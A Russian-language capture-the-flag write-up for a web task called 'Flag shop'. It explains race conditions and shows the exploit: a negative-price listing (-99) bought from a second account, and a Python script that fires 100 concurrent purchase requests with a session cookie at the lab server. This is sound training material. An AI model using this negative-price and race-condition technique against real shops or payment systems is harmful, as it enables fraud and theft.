Название: Flag shop
Категория: Web
Уровень: Средний
Ссылка на задание: https://hackerlab.pro/categories/web/77d1b94d-feee-4a16-a261-b17dd043a8e7
Баллы: 500
Reconnaissance
Мы видим маркетплейс с некоторыми товарами для покупки, создаём аккаунт и авторизируемся. На нашем счету есть $100 и мы можем что-нибудь купить. Для примера я купил Bad USB. $20 улетели - товара нет.Давайте попробуем просканировать маркетплейс на наличие скрытых директорий.
Мы можем выставить свой товар и сразу же получаем на него ссылку с уникальным ID. Так... Пазл начинает складываться, мы можем продать товар, купить товар... это же Race Condition!
Race Condition возникает, когда поведение системы зависит от непредсказуемой последовательности или времени неконтролируемых событий, например, от одновременного доступа нескольких потоков или процессов к общим ресурсам. Оно становится ошибкой, когда результат зависит от того, какой процесс «выиграет гонку», чтобы финишировать первым, что приводит к неожиданным ошибкам или повреждению данных. Проще говоря, это уязвимость, которая возникает, когда программа делает несколько действий почти одновременно, а хакер успевает вклиниться между ними. Из-за большой скорости запросов порядок (сначала А, потом Б) нарушается.
Exploitation
Скорее всего, мы не можем покупать собственные товары "так оно и есть". Но ничего ведь нам не запрещает создать 2 аккаунт. На первом аккаунте создаём товар с ценником $-99 потому что:- -99, потому что ограничение в 3 символа
- минус потому, что если мы продаём товар за отрицательную цену, система при вычитании отрицательного числа может прибавить эту сумму к нашему балансу.
Python:
import requests as r
import threading as t
def main():
cust_cookie = {"session": "ВАША_СЕССИЯ_2_АККАУНТА"}
res = r.post('http://62.173.140.174:16103/buy/ID_ТОВАРА', cookies=cust_cookie)
print(res.text, res.content)
if __name__=="__main__":
threads = []
x = 0
while x < 100:
x+=1
thread = t.Thread(target=main)
threads.append(thread)
thread.start()
#print(res.content)
for thread in threads:
thread.join()
И покупаем заветный секретный девайс!